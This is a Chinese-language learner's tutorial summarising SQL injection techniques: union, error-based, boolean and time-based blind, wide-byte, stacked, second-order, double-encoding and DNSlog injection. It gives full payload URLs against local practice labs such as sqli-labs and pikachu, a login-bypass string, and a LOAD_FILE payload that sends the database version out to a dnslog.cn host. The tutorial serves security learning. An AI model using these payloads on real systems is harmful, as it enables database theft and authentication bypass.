SQL注入:自我小结 – 作者:MoLing

作为一个才入门的Web安全小玩家,今天来总结一下我的SQL注入学习之路。。。。如果其中有什么错误,望各位小哥哥小姐姐指正,小女子不胜感激。

0x00 SQL注入是什么?

SQL注入通过输入一些恶意的sql语句来修改后台数据库操作语句,执行注入语句已达到对数据库的增删改查(CRUD),甚至于数据库提权等。所以很多书籍或者机构的课程都会花较大篇幅去讲解SQL注入模块,学习SQL注入原理有利于后期的sqlmap以及waf绕过的学习。

0x01 SQL注入的危害?

猜解后台数据库 ==》 这是利用最多的方式,通过猜解数据库,可盗取网站的敏感信息。

绕过验证            ==》 绕过验证登录网站后台

后台登陆语句:SELECT * FROM admin WHERE Username=’user’ and Password=’pass’

万能密码:’ or ‘1’=’1′ #

数据库提权        ==》注入可借助数据库的存储过程进行提权等操作

植马(即传入木马),dos(造成拒绝服务攻击)

0x02 SQL注入的基本流程

判断是否存在注入并判断是字符型还是数字型注入

判断查询列数,回显位置

获取数据库信息

破解加密数据

提升权限

内网渗透

0x03 SQL注入的分类

根据注入变量类型分类:

  • 数字型    ==》    http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 –+
  • 字符型    ==》    http://127.0.0.1/sqli/Less-1/?id=1′ #    也可以  ?id=1′ and ‘1’=‘1 来闭合

根据注入请求方式分类:

  • Get    方式    ==》  使用hackbar修改url,进行sql注入
  • POST 方式    ==》  可通过burpsuite抓包,修改post的数据进行传值的修改和sql注入

根据注入方式分类:

  • 联合查询注入 ==》  union操作符用于合并两个或多个select语句的结果集
  • 报错型注入     ==》  即页面不会回显注入数据,只能通过页面报错来判断语句的正确与否
  • 堆查询注入     ==》
  • 盲注                ==》  盲注既不能看到数据的回显,也没有报错

           1.布尔盲注  通过sql的函数来逐个读取字符串,通过页面是否正常显示来判断猜解内容是否正确

           2.时间盲注  通过sleep函数来判断猜解内容是否正确(sleep()内的数值建议设置在5-10s) 

根据编码问题:

  • 宽字节注入  ==》  由于网站会设置一些对用户输入内容的转义,通过编码,能够使我们注入语句中的单引号等符号得到正确显示    

0x04 Union联合查询

UNION操作符用于合并两个或多个select语句的结果集,注意:UNION内部的SELECT语句前后必须有相同数量的列,列也必须有相似的数据类型,同时每条SELECT语句中的列的顺序必须相同。

SQL UNION 语法:

SELECT column_name FROM tables1 UNION SELECT column_name FROM tables2

注释:默认的,UNION操作符选取不同的值,如果允许重复,请使用UNION ALL

以sql-labs-master靶场第一关为例:

1.判断是否有注入点,并判断其符号
http://127.0.0.1/sqli/Less-1/?id=1′ ==》id=1′  id=1″ id=1) 等
2.判断其列数并定位可显示数据的位置
http://127.0.0.1/sqli/Less-1/?id=1′ order by 3 –+   ==>采用而二分法确定列数
http://127.0.0.1/sqli/Less-1/?id=-1′ union select 1,2,3 –+ ==》定位可显示数据的列
3.查看当前数据库(若第二、三列可回显)
http://127.0.0.1/sqli/Less-1/?id=-1′ union select 1,2,group_concat(schema_name) from information_schema.schemata  –+ ==>查看当前所有数据库
4.查看当前数据库的数据表(当前在security数据库)
http://127.0.0.1/sqli/Less-1/?id=-1′ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=”security”–+ ==>获取security内的所有表
5. 查看所包含的列的信息(当前在users表)
http://127.0.0.1/sqli/Less-1/?id=-1′ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=”users”–+ ==》获取users表的所有字段
数据库中有很多users表,但我们要查出当前security的users表
6. 获取字段中关键信息(在users表查询并连接信息)
http://127.0.0.1/sqli/Less-1/?id=-1′ union select 1,2,group_concat(password,”_”,username) from users–+
http://127.0.0.1/sqli/Less-1/?id=1′ union select 1,2,group_concat(concat_ws(“_”,password, username))  from users–+  ==》连接所有账号信息
主要思路:查库=》查表=》查列=》查字段=》获取信息

0x05 报错注入

1.原理:

这是一种页面响应形式,响应过程如下:用户在前台页面上输入检索内容时,后台将前端页面上输入的内容不加区别的拼接成sql语句在数据库执行。数据库将执行结果返回给后台。后台将数据库执行结果不加区别的显示到前台页面。

2.条件:

MySQL报错信息必须能够在页面回显:区分php报错和mysql报错。报错注入页面没有显示位,但有sql语句执行错误信息,输出-1′ and extractvalue(1, concat( ‘~’ ,(select version() limit 0,1))) –+

3.要求:

需要能够知道MySQL中哪些函数有限制条件,利用限制条件进行报错,需要了解函数原理有才知道熟悉运用。

4.报错注入步骤:(判断闭合后)

获取数据库:
http://127.0.0.1/sqli/Less-1/?id=-1′ and updatexml(1,concat(‘~’,(select schema_name from information_schema.schemata limit 0,1)),1) –+
获取表名:
http://127.0.0.1/sqli/Less-1/?id=-1′ and updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) –+
获取字段名:
http://127.0.0.1/sqli/Less-1/?id=-1′ and updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1)),1) –+

可以引入substr( )函数和ascii( )函数进行单个字符的比较以及ASCII码的判断。注意:updatexml读取字符的长度只能是32位。若读取数据太长需要切片儿,如下:

select updatexml(1,concat( ‘~’ ,substr((select GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,30)),1);

5.报错注入的各种姿势:

① Extractvalue报错注入
ExtractValue(xml_frag, xpath_expr)
参数1:XML_document是String格式,为XML文档对象的名称;
参数2:XPath_string (Xpath格式的字符串).
作   用:从目标XML中返回包含所查询值的字符串
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它 返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径
extractvalue(1,concat(‘~’,(select @@version)))
② updatexml报错注入
UPDATEXML (XML_document, XPath_string, new_value);
参数1:XML_document是String格式,为XML文档对象的名称,文中为Doc
参数2:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
参数3:  new_value,String格式,替换查找到的符合条件的数据
作用:改变xml文档中符合条件的节点的值
updatexml(1,concat(‘~’,(SELECT @@version),0x7e),1)
③Floor()报错注入
Mysql:select * from user where id=’1′  union select count(*),concat(floor(rand(0)*2),’~ ‘,version())x from information_schema.schemata group by x;
rand( )和rand(0)
功能:返回0-1之间的随机数,如果输入随机种子参数0,每次返回的是固定的0-1之间的随机数
count(*) 的作用
功能:返回匹配指定条件对应的行数;参数及返回值:返回数据条数
group by语句工作原理
group by语法可以根据指定数据列的每个成员对查询结果进行分组统计,最终得到一个分组汇总表。
floor()函数
floor函数的作用是返回小于等于该值的最大整数 floor(2.99)=2
当group by 在查询虚拟表和插入虚拟表时,如果这两次查询语句执行的结果不一致就会引发错误,错误提示信息是插入的主键重复,通过自定义提示里报错信息中的主键值来获得敏感信息。

0x06 盲注

1.布尔盲注

“布尔判断”指的是利用SQL语句逻辑与(and)操作,判断and两边的条件是否成立,SQL语句带入数据库查询后判断返回内容(通常返回值仅有非空和空两种状态),类似布尔型的true和false的两种状态。
①布尔盲注步骤:(确定注入点后)
判断查询数据库数目
http://127.0.0.1/webug/control/sqlinject/bool_injection.php?id=1′ and (select count(schema_name) from information_schema.schemata)=15 –+
判断当前数据库长度
http://127.0.0.1/webug/control/sqlinject/bool_injection.php?id=1′ and length(database())=5 –+
猜解数据库名
http://127.0.0.1/webug/control/sqlinject/bool_injection.php?id=1′ and substr((select schema_name from information_schema.schemata limit 1,1),1,1)=’s’ –+
猜解数据表名
http://127.0.0.1/webug/control/sqlinject/bool_injection.php?id=1′ and substr((select table_name from information_schema.tables where table_schema=”bricks” limit 0,1),1,1)=’s’ –+
猜解列名
http://127.0.0.1/webug/control/sqlinject/bool_injection.php?id=1′ and substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)=’s’ –+
②使用到的函数   
length(string)
功能:获取字符串的长度
参数及返回值:
string为操作字符串,返回字符串string的长度
举例1:
$ret = length(“hello”);
ret= 5;
举例2:
length(database())>5 #判断数据库名长度大于5
cast(expression as type)
功能:将任何类型的值转换为具有指定类型的值
参数及返回值:
expression为操作字符串type为转化类型,返回的是转化后的值;
举例1:
$ret = cast(’12′ as int); ret=12;
Cast函数通常和mid和ord函数-起配合使用
substr(string,start,length)
功能:截取字符串功能
返回值:为截取后的字符串
参数:string为操作字符串, start为开始位置, length为截取长度
举例1:
$ret = substr(“hello kali'”,2,4);
ret= “ello”;
举例2:
substr(database(),1,1)>’a’ //判断数据库名第一位是否大于a; 再查看其他位进行判断
left(string, n)  ===>  right()同
功能: 返回字符串string最左边的n个字符串
返回值: string最左边的n个字符串
参数:string为操作字符串,n为截取长度
举例1:
$ret = left(“redhat”,3);
ret= “red”;
举例2:
left(database(),2)=’sa’ #判断数据库名前2个字符是否位sa;再查看其他位进行判断
mid(string , start, length)
功能:截取字符串功能==substr( )
返回值:为截取后的字符串
参数:string为操作字符串,start为开始位置, length为截取长度
举例1:
$ret = mid(“hello kali”,2,4);
ret=“ello”;
举例2:
mid(database0,1,1)>’a’ #判断数据库名第一位是否大于a;再查看其他位进行判断
ascii(str)
功能: str为字符或者字符串,用于返回字符或字符串最左边的ascii码,有时候服务器会对单引号进行转义,使用ASCII码就不用使用单引号参数:(功能和ord-样)
参数: char为操作;
返回值:返回字符char的asi码
举例1:
$ret = ascii(‘a’);
ret= 97;
举例2:
ascii(mid(database(),1,1))> 114 #意为检测database()的第一-位ASCI码是否大于114,即是’r’

2. 时间盲注

原理:利用if函数,执行判断:
如果正确,直接返回(时间很长,网速有一定的影响):
如果不正确,执行时间延迟,常用的函数有sleep和benchmark
以上操作也可反过来:
适用环境:界面无法用布尔真假判断,也无法报错注入的情况下
①时间盲注步骤(pikachu靶场)

判断闭合方式
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?username=kobe’ and sleep(5) #&submit=%E6%9F%A5%E8%AF%A2

判断数据库名(pikachu)
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=vince’ and if(ascii(substr((select database()),1,1))=112,sleep(5),1) –+&submit=%E6%9F%A5%E8%AF%A2

数据表(httpinfo)
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=vince’ and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=’pikachu’),1,1))=104,sleep(5),1) –+ &submit=%E6%9F%A5%E8%AF%A2

列名(id userid ipiddress useragent httpaccep )
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=vince’ and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=’httpinfo’ and table_schema=’pikachu’),1,1))=104,sleep(5),1) –+

②使用到的函数

if(condition,expr2,expr3)
功能:如果condition是TRUE,则IF()的返回值为expr1;否则返回值则为expr2。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定;
举例1:
Select if(true,1+1,1+2);-> 2
sleep(arg1)
功能: argl为中断的时间, 单位为秒:
举例1:
if(payload, sleep(5), 1);如果测试语句正确,暂停5秒
select if (true, sleep(5),2)
SELECT if(5>2,SLEEP(5),520)
benchmark()
benchmark(arg1,arg2)
arg1操作次数,arg2为表达式。
语句:and if(payload, benchmark(5000000,md5(‘abc’)), 1)
返回结果:页面延迟10秒左

0x07 常见四种注入分析

四种注入方式分析
1. union注入能直接显示出想要数据,使用简单。
2.报错注入输入错误会直接显示数据库错误信息,我们可以通过报错注入直接获取想要的信息,与union注入 相比,稍微麻烦- -点,但是能直接显示信息。
3.布尔注入会间接显示查询语句是否正确,但不会显示关键信息重复操作多
4.时间注入不管sql语句是否正确,不会返回任何信息,只能通过页面缓冲的时间来判断
综上所述,如果能够直接按union是最好的,如果爆出了数据库错误可以使用报错注入,如果没有明显错误但是间接反馈了语句是否执行正确,可以布尔注入,如果什么信息都没返回只有试试时间延迟注入。

0x08 宽字节注入

1.注入原理:

一个GBK汉字占两个字节,每个字节有自己的取值范围,如果设置GBK编码后,遇到连续两个字节,都符合GBK取值范围,会自动解析为一个汉字。Addslashes函数防止sq|注入,将传入参数值进行转义。例如将’转义为\ ,这样我们在注入的时候闭合单引号就会变成id= ‘1\’ 这样会导致闭合失败从而注入失败。

2.涉及的函数

mysql_real_escape_ string()
转义SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。
string mysql_ real _escape_ string( string Sunescaped_ string[,resource $link_ identifier] )
下列字符受影响:   \x00    \n    \r    \    ‘    ”    \x    1a
preg_ replace函数—执行一个正则表达式的搜索和替换
mixed preg_ replace( mixed $pattern, mixed $replacement, mixed $subject[, int $limit = -1[, int &$count]] )
搜索subject中匹配pattern的部分,以replacement进 行替换。
addslashes()函数。
addslashes()函数转义SQL 语句中使用的字符串中的特殊字符。下列字符受影响: $a=”abc”;
1.单引号(’)       2.双引号(“)       3.反斜杠(\)       4. NULL
如’会被转义成\’       “被转义成\”      \被转义成\\      NULL被转 义成\NULL
一个使用addslashes() 的例子是当你要往数据库中输入数据时。
例如,将名字O’reilly 插入到数据库中,这就需要对其进行转义。
string addslashes( string $str)
$value = stripslashes($value); =》去掉斜杠
mysql_real_escape_string和mysql_escape_string区别
两者都是过滤字符串,防止sql注入,但两者有一些区别
mysql_real_escape_string:
1.具有两个参数,其中第二个为选填参数,默认为上一个数据库链接connection
2.使用之前要先连接上数据库,否则会出错
3.在过滤字符串的时候,会考虑当前链接connection字符集,(set names ‘utf-8’)
mysql_escapte_string是处理单个字符串函数.
不过从PHP5.4开始,PHP官方就鼓励使用mysqli和PDO来操作数据库了。

3.宽字节注入防御

①使用mysql_ set_ charset(GBK)指定字符集
②使用mysql_real _escape_string进行转义
原理是,mysql_real_escape_ string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?就是使用mysql_set_charset进行指定。上述的两个条件是”与”运算的关系,少一条都不行。
在进行php 连接mysql 时,当设置”ser character_set_client=gbk” 时会导致一个编码转换的注入问题,也就是熟悉的宽字节注入,当存在宽字节注入时,%df%27 可把程序中过滤的\ (%5c)吃掉。

0x09 堆查询注入

1.什么是堆叠注入?

在SQL中,分号( ; )是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sq|语句后继续构造下一条语句,会不会一 起执行?因此这个想法也就造就了堆叠注入。而union injection (联合注入)也是将两条语句合并在一-起,两者之间有什么区别么? 区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

2.堆叠注入局限性

局限1:堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

局限2:虽然堆叠查询可以执行任意的sql 语句,但这 种注入方式并不是十分完美。在web系统中,因为代码通常 只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时, 建议使用 union (联合)注入。同时 在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

0x0A 其他类型注入

1.二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。二次注入 也称为存储型注入。

二次注入,可以概括为以下两步:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行转义处理,在写入数据库时又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

2.二次编码注入(部分函数可见前宽字节注入)

现通常Web应用程序大多都会进行参数过滤,来防止注入。如果某处使用了urldecode或者 rawurldecode 函数,则会导致二次解码生成单引号二引发注入,即二次注入。

Web应用程序通常使用addslashes() 、mysql_real_escape_string()、mysql_escape_string()函数或者开启GPC来防止注入,也就是给单引号(‘’)、双引号(“”)、反斜杠(\)和NULL加上反斜杠转义。
原理:由于我们提交id参数到webserver时,webserver会自动解码一次,假设目标程序开启了GPC,我们提交参数id=1%2527 ,经过第一次解码后,%25解码结果为%,则参数为id=1%27,第二次程序使用了urldecode 或者 rawurldecode 函数来解码id参数,则解码后结果为id=1’ ,这时单引号成功出现引发注入。

3.dnslog注入

select LOAD_FILE(CONCAT(‘\\\\’,(SELECT version()),’.tfq4oz.dnslog.cn\\abc’)); –+
利用dns解析日志来达到快速盲注。

0x0B 参考文章

https://blog.csdn.net/qq_36711453/article/details/83714363      关于二次注入部分

https://xz.aliyun.com/t/2869      其他注入方式

0x0C 小结

在写这个文章得过程中仍然发现自己在很多知识的理解和使用上存在欠缺,希望在日后的生活中能够慢慢练熟,摸透。。。如果文中哪些知识点存在问题,请您指正,不甚感激。。。学安全,菜是原罪,只能好好努力啦。。

然后我这里有关于sql,xss,dvwa,webug,pikachu,文件上传等一些靶场,还有大佬总结的sql-labs-master的通关宝典,有需要私信我。。。加油啦,终于知道学安全的女娃儿为啥这么少了。。

 

来源:freebuf.com 2020-07-25 15:31:04 by: MoLing

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论